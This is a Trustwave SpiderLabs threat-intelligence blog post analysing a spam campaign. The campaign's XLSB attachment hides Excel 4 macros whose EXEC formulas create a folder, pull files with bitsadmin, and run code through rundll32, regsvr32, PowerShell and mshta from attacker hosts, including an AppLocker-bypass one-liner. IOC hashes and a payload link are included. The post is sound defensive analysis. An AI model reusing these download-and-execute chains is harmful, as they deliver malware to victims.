Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

Monster Lurking in Hidden Excel Worksheet

A recent blog by Didier Steven’s showed how malicious Excel 4 macros can be stored in OOXML (Office Open XML) .xlsm – a macro specific file format. We found this very interesting because even though Microsoft long ago replaced Excel 4 macros with VBA (Visual Basic Application), Excel 4 macros still work and are still supported in the newer Excel 2017 XML format.

Not long after that blog was published, while scrounging around our spam honeypots we spotted this “TurboTax Case” spam campaign with a .XLSB attachment.

 

Figure1a
Figure 1. Spam Sample

 

Figure2
Figure 2. XLSB File Icon

 

XLSB is similar to XLSM format where they are both stored in a ZIP container, however, the information in an XLSB file is stored as binary as opposed to the typical XML format.

 

Figure3
Figure 3. XLSB File Header

 

Figure4
Figure 4. Inside the ZIP container we can find the malicious BIFF Object in binary format

 

Extracting and viewing the BIFF object file sheet1.bin in a hex viewer, reveals a bunch of interesting shell commands. We’ll look at this further, but note that at this stage this object is a hidden worksheet.

 

Figure5
Figure 5. Hex view of sheet1.bin

 

So, we dug in and investigated this XLSB file, but instead of using tools like oledump.py, we used the Excel application itself to analyze these macros.

Opening the malicious excel sheet, a security warning is presented to the unsuspecting end-user, and then a plain text lure instructing the user to enable the macro, this a very common social engineering tactic. The user must enable macros via the Options button as below.

 

Figure6
Figure 6. Security Warning

 

At this stage, we need to unhide some stuff. Unhiding the worksheet can be done by right-clicking on “Sheet1” tab then clicking the “Unhide…” on the context menu:

 

Figure7
Figure 7. Unhiding the hidden sheet

 

Now that the Macro sheet has been unhidden, we are now able to see the Named reference to Auto_Open. However, it seems like it resides in a hidden column – Column A.

 

Figure8
Figure 8. Hidden macro sheet

 

We can unhide Column A by doing the following: On Home tab, then in the Cells group, click Format, then click “Hide & Unhide” then “Unhide Columns

 

Figure9
Figure 9. Unhiding the hidden column

 

Then tadaa! Now it reveals the hidden column “A” with all this suspicious EXEC formulas to run external commands

 

Figure10
Figure 10. Revealing the malicious EXEC formulas

 

How do these commands get executed? The macro event Auto_Open is referred to the cell “=Macro1$A$1” which contains the formula  “=EXEC("cmd.exe /c cd c:\&&mkdir Intel")”

 

Figure11
Figure 11. Auto_open refers to cell A1 

 

All of the above formulas in column “A” are then executed in order until  HALT() is encountered.

In summary, the macros execution flow is as follow:

  1. Create a directory at c:\Intel
  2. Create a bitsadmin transfer job called “myjob” to download a file from https://kilolo.site/admin.bat and save it to c:\intel\admin.bat
  3. Create a bitsadmin transfer job called “myjob” to download a file from https://kilolo.site/mer.bin and save it to c:\intel\mer.bin
  4. Create a bitsadmin transfer job called “myjob” to download a file from https://kilolo.site/mer.dll and save it to c:\intel\mer.dll
  5. Rename mer.bin to mer.exe
  6. Copy mer.dll to mery.dll
  7. Execute:
    1. rundll32.exe mer.dll, Run https://38.132.124.172:443/
    2. regsvr32 /s mery.dll, Run https://38.132.124.172:443/
  8. Execute a powershell command from:
    1. http://kilolo.site/raw.txt
    2. https://kilolo.site/raw.txt
  9. Execute mshta http://37.72.175.188:80/home
  10. Execute a Jscript from a remote server using AppLocker Bypass technique:
    1. regsvr32 /s /u /n /i:http://37.72.175.188:443/index scrobj

At the time of analysis, The URLs kilolo[.]site and 38[.]132[.]124[.]172:443 are already offline except for hxxp://37[.]72[.]175[.]188:443/index

The last EXEC command is a JScript execution from the remote host at 37.72.175.188. The deobfuscated and beautified code can be found here: https://gist.githubusercontent.com/drole/b66464abca888f5cc77ea4519acd1584/raw/1c07055fbaaa4911b5cdf5d754e034ffd6ac8810/payload.js

 

Figure12
Figure 12. Obfuscated JScript Payload

 

This JScript main function is to gather system information and send back to the command and control server.

To conclude, this very old macro functionality in Excel is still supported and is now being misused by the criminals. It represents yet another way the bad guys are abusing these sorts of document file formats. Keep in mind the malicious code in this example will not execute unless the user enables macros.  

 

IOCs

1e1afc93c8092b2c7e49a6d3a451629f (XLSB)
40a941bc585c6e8f1203a9854faf90ad (Jscript 2nd stage payload)

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo